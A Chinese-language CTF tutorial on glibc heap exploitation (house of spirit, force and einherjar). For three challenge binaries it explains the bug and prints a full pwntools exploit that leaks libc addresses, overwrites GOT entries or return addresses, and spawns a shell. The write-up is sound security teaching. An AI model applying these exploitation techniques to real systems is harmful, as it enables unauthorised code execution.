PWN学习之house of系列(一)
作者：Hcamael@知道创宇404实验室
准备一份house of系列的学习博文，在how2heap上包括下面这些：
- house of spirit
- house_of_force
- house_of_einherjar
- house_of_orange
- house_of_lore
house of spirit
house of spirit是fastbin的一种利用方法，利用demo可参考: https://github.com/shellphish/how2heap/blob/master/house_of_spirit.c
我通过具体的CTF PWN题目来学习该利用方法，题目见: https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo
这题是hack.lu 2014 ctf的一道400分的32位下的PWN题，这题原本是没有给libc的，但是我搜了下网上这题的writeup，不需要libc有两种方法，一种是假设服务器上用的是最新版的libc，然后从各个发行版的系统找libc，一个一个试，另一种是使用ret2dl-resolve，这个利用方法我准备单独写一篇博文来说，而本文主要是学习house of spirit，所以就用本地的libc，假设已知libc。
漏洞点很简单，首先要能看出一个结构体：
struct rifle {
char descript[0x19]
char name[0x1b]
char *pre_add
}然后在sub_8048644函数中，大致逻辑如下：
add()
{
rifles *v1;
unsigned int v2;
v1 = rifle;
rifle = (rifles *)malloc(0x38u);
if ( rifle )
{
rifle->pre_add = (int)v1;
printf("Rifle name: ");
fgets(rifle->name, 56, stdin);
str_deal(rifle->name);
printf("Rifle description: ");
fgets(rifle->descript, 56, stdin);
str_deal(rifle->descript);
++rifle_num;
}
else
{
puts("Something terrible happened!");
}结构体中name的长度只有0x1b，但是却能输入56长度的字符串，所以可以把后面的pre_add覆盖，或者把下一个堆进行覆盖
泄露内存
因为libc已知，程序没开PIE，所以只需要泄露libc地址，然后算出libc基地址
内存泄露利用的是sub_8048729函数，该函数的大致逻辑如下:
show_rifles()
{
rifles *i;
unsigned int v2;
printf("Rifle to be ordered:\n%s\n", "===================================");
for ( i = rifle; i; i = (rifles *)i->pre_add )
{
printf("Name: %s\n", i->name);
printf("Description: %s\n", i);
puts("===================================");
}
}rifle->pre_add是可控的，把rifle->pre_add = 0x804A258-25设置为sscanf的got表地址减去25，这样Name输出的就是sscanf_got的值，并且sscanf_got->pre_add的值为0，能让该程序继续运行而不报错
得到sscanf_got的值后，可以通过libc的偏移算出libc的基地址
使用house_of_spirit进行任意地址写
house of spirit简单的来说就是free一个假的fastbin堆块，然后再下次malloc的时候就会返回该假堆块
所以第一步是要构造假的堆块，在该程序中，只有一个malloc(0x38)，所以要构造一个size=0x41的堆块，在.bss_804A2A0地址的order_num，和.bss_804A2A4的rifle_num，一个是在free的时候自增1，一个是在rifle add的时候自增1，所以只要add 0x41次rifle，就能把rifle_num设置为0x41
chunk的size位伪造好了，现在是bypass libc对free fastbin的check，主要是会对下一个chunk的size进行check，所以不仅要伪造当前check的size，还要伪造下一个chunk的size
下一个chunk的地址是0x804A2A4+0x40=0x804a2e4，该地址是储存notice的地址，属于可控区域，代码如下：
information = (char *)&unk_804A2C0;
leave()
{
unsigned int v0;
printf("Enter any notice you'd like to submit with your order: ");
fgets(information, 128, stdin);
str_deal(information);
}假堆块构造完成了，free了之后0x804A2A0将会加入到fastbin中，在下一次add rifle的时候malloc会返回该地址，所以0x804A2A4往下的变量都可控，这个时候我们能修改information的值，然后在leave函数会向information指向的地址写入值
这样就达到了任意地址写的目的
最终利用
能做到任意地址写，下面就很简单了，方法有很多，我使用的是重写sscanf_got地址的值为计算出的system地址
int read_action()
{
int v1;
char s;
unsigned int v3;
do
{
printf("Action: ");
fgets(&s, 32, stdin);
}
while ( !__isoc99_sscanf(&s, "%u", &v1) );
return v1;
}当输入了/bin/sh之后，会赋值给变量s，然后传给sscanf，这时候sscanf_got的值已经被改成了system的值，所以实际执行的是system("/bin/sh")
最终达成getshell的目的，payload如下:
#!/usr/bin/env python
# -*- coding=utf-8 -*-
from pwn import *
context.log_level = "debug"
def add(name, descrip):
p.readuntil("Action:")
p.sendline("1")
p.readuntil("name:")
p.sendline(name)
p.readuntil("description:")
p.sendline(descrip)
def show_rifles():
p.readuntil("Action:")
p.sendline("2")
p.readuntil("Name: ")
p.readuntil("Name: ")
return u32(p.read(4))
def free():
p.readuntil("Action:")
p.sendline("3")
def leave(message):
p.readuntil("Action:")
p.sendline("4")
p.readuntil("order: ")
p.sendline(message)
sscanf_got = 0x804A258
fake_heap = 0x804A2A0
system_offset = 0x3ada0
p = process("oreo_35f118d90a7790bbd1eb6d4549993ef0", stdin=PTY)
name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)
add(name_payload1, "hhh")
sscanf = show_rifles()
libc_base = sscanf - 0x5c4c0
for x in xrange(0x40-1):
add("mm", "gg")
name_payload2 = "aaa" + "bbbb"*6 + p32(fake_heap+8)
add(name_payload2, "uuu")
message_payload = "\x00\x00\x00\x00"*9 + p32(0x41)
leave(message_payload)
# raw_input()
free()
# raw_input()
add("name", p32(sscanf_got))
leave(p32(libc_base+system_offset))
p.sendline("/bin/sh\0")
p.interactive()house of force
house of force是修改top chunk size的一种利用方法，利用demo可参考: https://github.com/shellphish/how2heap/blob/master/house_of_force.c
题目见: https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200
该利用姿势是由于libc的堆管理在malloc的时候默认top chunk的size是正确合法的，所以不会去检查top chunk的size值，这就导致了一种情况，当一个程序存在可以修改top chunk size的漏洞时，我们把top chunk的size修改成0xffffffff(x86)
假设这个时候的top_chunk=0x601200, 然后malloc(0xffe00020)，然后对malloc申请的size进行检查，0xffe00030 < top_chunk_size，所以可以成功malloc内存，然后计算top_chunk的新地址：0xffe00030+0x601200=0x100401230, 因为是x86环境，最高位溢出了，所以top_chunk=0x401230
然后下次我们再malloc的时候，返回的地址就是0x401238
下面，我们再通过2016年bctf的一道题目来加强对该利用方式的理解
泄露堆地址
有一个read_buffer函数:
int read_buffer(int input, int len, char a3)
{
char buf;
int i;
for ( i = 0; i < len; ++i )
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(_BYTE *)(input + i) = buf;
}
*(_BYTE *)(i + input) = 0; // off by one
return i;
}在注释里也已经标出来了，该函数存在off_by_one漏洞，会溢出一个\x00
然后存在内存泄露的是需要输入username的函数：
void welcom_user()
{
char s; // [esp+1Ch] [ebp-5Ch]
char *v2; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]
memset(&s, 0, 0x50u);
puts("Input your name:");
read_buffer((int)&s, 0x40, '\n');
v2 = (char *)malloc(0x40u);
name = (int)v2;
strcpy(v2, &s);
welcom((int)v2);
}看上面的注释，计算出v2变量和s变量在栈中的距离为0x40
当我输入0x40的a时，会把变量s填充满，然后在v1的第一个字节添加字符串结尾\x00，接下来，malloc的返回值赋给v2，把\x00给覆盖掉了，所以在strcpy函数把s的值+v2的值copy到v2指向的堆中，然后在welcom函数中输出，这样获得到了堆的地址
修改top_chunk size
之后，有一个输入org和host的函数：
void sub_804884E()
{
char org; // [esp+1Ch] [ebp-9Ch]
char *v1; // [esp+5Ch] [ebp-5Ch]
int host; // [esp+60h] [ebp-58h]
char *v3; // [esp+A4h] [ebp-14h]
unsigned int v4; // [esp+ACh] [ebp-Ch]
memset(&org, 0, 0x90u);
puts("Org:");
read_buffer((int)&org, 0x40, 10);
puts("Host:");
read_buffer((int)&host, 0x40, 10);
v3 = (char *)malloc(0x40u);
v1 = (char *)malloc(0x40u);
org_static = (int)v1;
host_static = (int)v3;
strcpy(v3, (const char *)&host);
strcpy(v1, &org);
puts("OKay! Enjoy:)");
}该函数存在和上面user函数一样的问题，我们来看看栈布局：
然后再来看看malloc两次后的堆布局：
v1储存的是org的值，如果org中没有\x00，v1中没有\x00，strcpy将会copy org+v1+host的值到堆中去，而堆中v1的size只有0x48，所以会导致堆溢出，可以覆盖到top_chunk的size，我们将该size赋值为0xffffffff
控制malloc的返回值
int new()
{
int result; // eax
signed int i; // [esp+18h] [ebp-10h]
int v2; // [esp+1Ch] [ebp-Ch]
for ( i = 0; i <= 9 && note_list[i]; ++i )
;
if ( i == 10 )
return puts("Lack of space. Upgrade your account with just $100 :)");
puts("Input the length of the note content:");
v2 = get_int();
note_list[i] = (int)malloc(v2 + 4);
if ( !note_list[i] )
exit(-1);
note_length[i] = v2;
puts("Input the content:");
read_buffer(note_list[i], v2, 10);
printf("Create success, the id is %d\n", i);
result = i;
dword_804B0E0[i] = 0;
return result;
}在new函数中，可以控制malloc的size大小，然后我们需要考虑控制malloc跳到哪里
int edit()
{
int length;
int id; // [esp+14h] [ebp-14h]
int note; // [esp+18h] [ebp-10h]
puts("Input the id:");
id = get_int();
if ( id < 0 || id > 9 )
return puts("Invalid ID.");
note = note_list[id];
if ( !note )
return puts("Note has been deleted.");
length = note_length[id];
dword_804B0E0[id] = 0;
puts("Input the new content:");
read_buffer(note, length, 10);
return puts("Edit success.");
}有一个edit函数，可以编辑note_list指向地址的值，所以如果我们能控制note_list的值，就可以做到任意地址修改
所以我们的目的是让下一次malloc的返回值为0x804B120，这样需要在这一次malloc后，让top_chunk=0x804B118
所以根据泄露出的heap地址计算出当前top_chunk的地址，然后再计算出本次malloc的size: 0x10804B118-top_chunk 或者 -(top_chunk-0x804B118)
泄露libc地址
按照该程序的逻辑，应该在show函数中成输出note_list指向地址的值，但是该函数的功能还未实现:
int show()
{
return puts("WTF? Something strange happened.");
}所以就需要想别的办法来泄露libc地址了
我使用的方法的修改free_got的值为printf的值，然后在delete函数中，free(note_list[x])，note_list[x]修改成atoi_got的地址，这样就能泄露出atoi_got的值
但是因为不知道libc，所以不知道printf的值，但是因为有延时绑定，所以我们能把free_got的值修改成printf_plt+6的值
获取到libc的地址后，可以计算出system的值，然后再把atoi_got的值修改成system地址，达到getshell的目的
完整payload:
#!/usr/bin/env python2.7
# -*- coding=utf-8 -*-
from pwn import *
context.log_level = "debug"
def new_note(len,content):
p.readuntil("--->>")
p.sendline("1")
p.readuntil("content:")
p.sendline(str(len))
p.readuntil("content:")
p.sendline(content)
def edit_note(i, data):
p.readuntil("--->>")
p.sendline("3")
p.readuntil("id:\n")
p.sendline(str(i))
p.readuntil("content:\n")
p.sendline(data)
p.readuntil("success.")
def delete_note(i):
p.readuntil("--->>")
p.sendline("4")
p.readuntil("id:\n")
p.sendline(str(i))
p = process("./bcloud")
e = ELF("./bcloud")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
pause()
# leak heap
p.readuntil("name:\n")
p.send("a"*0x40)
p.read(0x44)
heap = u32(p.read(4))
print "heap addr: " + hex(heap)
# modify top chunk size to 0xffffffff
p.readuntil("Org:")
p.send("a"*0x40)
p.readuntil("Host:")
p.sendline(p32(0xffffffff))
p.readuntil("Enjoy:")
# malloc return address:0x804B120
note_list = 0x804B120
new_note(0x10, "aaa")
new_note(-(heap+0xf4-0x804B120+8), "2333")
# note_list[0] = free_got
# note_list[1] = atoi_got
# note_list[2] = atoi_got
payload = p32(e.got["free"])
payload += p32(e.got["atoi"])
payload += p32(e.got["atoi"])
new_note(0x100, payload)
# write printf address to free_got
edit_note(0, p32(e.symbols["printf"]+6))
# printf(atoi_got)
delete_note(1)
atoi_libc = u32(p.read(4))
p.readuntil("success.")
libc_base = atoi_libc - libc.symbols["atoi"]
print "libc_base: " + hex(libc_base)
# calculate system address
system = libc.symbols["system"] + libc_base
# write system address to atoi_got
edit_note(2, p32(system))
# system("/bin/sh")
p.sendline("/bin/sh")
p.interactive()house of einherjar
house of einherjar跟house of force差不多，最终目的都是控制top chunk的值，利用demo可参考: https://github.com/shellphish/how2heap/blob/master/house_of_einherjar.c
题目见: https://github.com/blendin/writeups/tree/master/2016/tinypad
和house of force的区别是，通过off by one把最后一个chunk的pre_inuse标志位置零，让free函数以为上一个chunk已经被free，这就要求了最后一个chunk的size必须要是0x100的倍数，要不然会check下一个chunk失败，或者和top chunk进行合并操作的时候失败。
然后再伪造一个chunk，计算最后一个chunk到我们伪造chunk的距离，设置为最后一个chunk的pre_size位，当free最后一个chunk时，会将伪造的chunk和当前chunk和top chunk进行unlink操作，合并成一个top chunk，从而达到将top chunk设置到我们伪造chunk的地址。
接下来通过2016年Second ctf的一个题来加深对该利用方法的理解：
内存泄露
if ( *(_QWORD *)&tinypad[16 * (v11 - 1 + 16LL)] )
{
free(*(void **)&tinypad[16 * (v11 - 1 + 16LL) + 8]);
*(_QWORD *)&tinypad[16 * (v11 - 1 + 16LL)] = 0LL;
writeln((__int64)"\nDeleted.", 9LL);
}在free了一个tinypad的时候，只把size位置零了，但是却没有把储存content的地址(tinypad[16 * (v11 - 1 + 16LL) + 8])置零
然后在每次循环的时候，都会输出四个tinypad的信息：
for ( i = 0; i <= 3; ++i )
{
LOBYTE(c) = i + '1';
writeln((__int64)"+------------------------------------------------------------------------------+\n", 81LL);
write_n((__int64)" # INDEX: ", 12LL);
writeln((__int64)&c, 1LL);
write_n((__int64)" # CONTENT: ", 12LL);
if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] )
{
v3 = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]);
writeln(*(_QWORD *)&tinypad[16 * (i + 16LL) + 8], v3);
}
writeln((__int64)&newline, 1LL);
}所以我们能增加4个tinypad，都申请一个0x100左右的chunk，然后释放第1个和第3个，这样就能形成unsortbin双链表，其中一个fd指向arena区域，一个fd指向另一个chunk，这样就泄露出了libc地址和堆地址
house of einherjar利用
首先是伪造一个合法的chunk，我们发现在edit分支，能控制tinypad地址的值：
if ( *(_QWORD *)&tinypad[16 * (v11 - 1 + 16LL)] )
{
c = '0';
strcpy(tinypad, *(const char **)&tinypad[16 * (v11 - 1 + 16LL) + 8]);
while ( toupper(c) != 'Y' )
{
write_n((__int64)"CONTENT: ", 9LL);
v6 = strlen(tinypad);
writeln((__int64)tinypad, v6);
write_n((__int64)"(CONTENT)>>> ", 13LL);
v7 = strlen(*(const char **)&tinypad[16 * (v11 - 1 + 16LL) + 8]);
read_until((__int64)tinypad, v7, '\n'); # 控制tinypad的值
writeln((__int64)"Is it OK?", 9LL);
write_n((__int64)"(Y/n)>>> ", 9LL);
read_until((__int64)&c, 1uLL, 0xAu);
}
strcpy(*(char **)&tinypad[16 * (v11 - 1 + 16LL) + 8], tinypad);
writeln((__int64)"\nEdited.", 8LL);
}所以我们tinypad就是我们伪造的chunk，伪造的chunk如下：
&tinypad:
刚才泄露内存已经释放了两个tinypad，还剩第二个和第四个tinypad，这个时候我释放第四个tinypad，这样第三个第四个将会和top_chunk合并
只要经过精心计算，这个时候我们再add一个tinypad，将会获得第一个tinypad(已经被释放)的堆地址，然后利用off by one漏洞:
unsigned __int64 read_until(__int64 buf, unsigned __int64 len, unsigned int end)
{
int v4; // [rsp+Ch] [rbp-34h]
unsigned __int64 i; // [rsp+28h] [rbp-18h]
signed __int64 v6; // [rsp+30h] [rbp-10h]
v4 = end;
for ( i = 0LL; i < len; ++i )
{
v6 = read_n(0, buf + i, 1uLL);
if ( v6 < 0 )
return -1LL;
if ( !v6 || *(char *)(buf + i) == v4 )
break;
}
*(_BYTE *)(buf + i) = 0; // off by one
if ( i == len && *(_BYTE *)(len - 1 + buf) != 10 )
dummyinput(v4);
return i;
}比如tinypad 1的大小是0xf0，我们申请一个0xe8大小的内存，就会得到tinypad 1的堆，然后可以覆盖到tinypad 2的pre_size，如果tinypad2的size位是0x101，则会被off by one漏洞设置为0x100
我们计算出tinypad2的地址，然后减去tinypad的地址，计算出offset，设置为tinypad2的pre_size和伪造chunk的size位
然后我们再free tinypad2，伪造的chunk和tinypad2将会和top chunk合并，这个时候top chunk的值为tinypad的地址
bypass Full RELRO
top chunk已经被设置到tinypad地址了，tinypad+256地址开始储存着tinypad1 2 3 4的信息，所以当我们再次malloc的时候，tinypad 1 2 3 4的size和address都已经是可控的了，可以达到任意地址读，然后edit功能可以做到任意地址写
已经能任意地址读写了，正常思路就是写got表，然后getshell，但是发现程序开启了Full RELRO保护，got表将不可写
然后考虑了FILE_IO的利用方法，但是发现该程序的IO使用的都是read和write，并没有使用stdio库，故该思路也不可行
然后发现，在libc中有一个全局变量__environ, 储存着该程序环境变量的地址，而环境变量是储存在栈上的，所以可以泄露栈地址，所以可以控制rip了
我使用的思路是，计算出one_gadget的地址，然后把ret __libc_start_main改写成ret one_gadget，从而达到getshell的目的。
完整Payload:
#!/usr/bin/env python2
# -*- coding=utf-8 -*-
from pwn import *
def add(p, size, content):
p.readuntil("(CMD)>>>")
p.sendline("a")
p.readuntil("(SIZE)>>>")
p.sendline(str(size))
p.readuntil("(CONTENT)>>>")
p.sendline(content)
def delete(p, index):
p.readuntil("(CMD)>>>")
p.sendline("d")
p.readuntil("(INDEX)>>>")
p.sendline(str(index))
def edit(p, index, content):
p.readuntil("(CMD)>>>")
p.sendline("e")
p.readuntil("(INDEX)>>>")
p.sendline(str(index))
p.readuntil("(CONTENT)>>>")
p.sendline(content)
p.readuntil("(Y/n)>>>")
p.sendline("y")
def main():
# context.log_level = "debug"
p = process("./tinypad")
# e = ELF("./tinypad")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# leak libc and heap address
add(p, 224, "a"*10)
add(p, 246, "b"*0xf0)
add(p, 256, "c"*0xf0)
add(p, 256, "d"*10)
delete(p, 3)
delete(p, 1)
# get heap address
p.readuntil("# CONTENT: ")
heap = p.readline().rstrip()
heap += "\x00"*(8-len(heap))
heap_base = u64(heap) - 0x1f0
print "heap_base address: " + hex(heap_base)
# get libc address
p.readuntil("INDEX: 3")
p.readuntil("# CONTENT: ")
libc_address = p.readline().strip()
libc_address += "\x00"*(8-len(libc_address))
libc_base = u64(libc_address) - 0x3c4b78
print "libc_base address: " + hex(libc_base)
# make top -> tinypad(0x602040)
add(p, 232, "g"*224 + p64(heap_base+240-0x602040))
delete(p, 4)
payload = p64(0x100) + p64(heap_base+240-0x602040) + p64(0x602040)*4
edit(p, 2, payload)
delete(p, 2)
# modify free_hook -> one_gadget
gadget1 = 0xf1117
gadget2 = 0xf0274
gadget3 = 0xcd1c8
gadget4 = 0xcd0f3
gadget5 = 0x4526a
gadget6 = 0xf66c0
gadget_address = libc_base + gadget1
add(p, 0xe0, "t"*0xd0)
payload = p64(232) + p64(libc_base + libc.symbols["__environ"])
payload += p64(232) + p64(0x602148)
add(p, 0x100, payload)
p.readuntil("# CONTENT: ")
stack = p.read(6)
stack += "\x00"*(8-len(stack))
stack_env = u64(stack)
print "env_stack address: " + hex(stack_env)
# pause()
edit(p, 2, p64(stack_env-240))
edit(p, 1, p64(gadget_address))
p.readuntil("(CMD)>>>")
p.sendline("Q")
p.interactive()
if __name__ == '__main__':
main()总结
本篇文章分析了
- house of spirit
- house_of_force
- house_of_einherjar
三种利用方法，还剩两种
- house_of_orange
- house_of_lore
其中，house_of_lore没发现有具体的实例题目，所以暂时不做研究
而house_of_orange涉及的知识点过多，所以会单独写一篇
house of系列第一次出现是Phrack2009年的杂志上，一共出现了下面几种：
- The House of Mind
- The House of Prime
- The House of Spirit
- The House of Force
- The House of Lore
最后三种在how2heap上都有，前面两种，下次再说
参考
- https://github.com/shellphish/how2heap
- https://github.com/ctfs/write-ups-2016
- https://code.woboq.org/userspace/glibc/malloc/malloc.c.html
- http://www.phrack.org/issues/66/10.html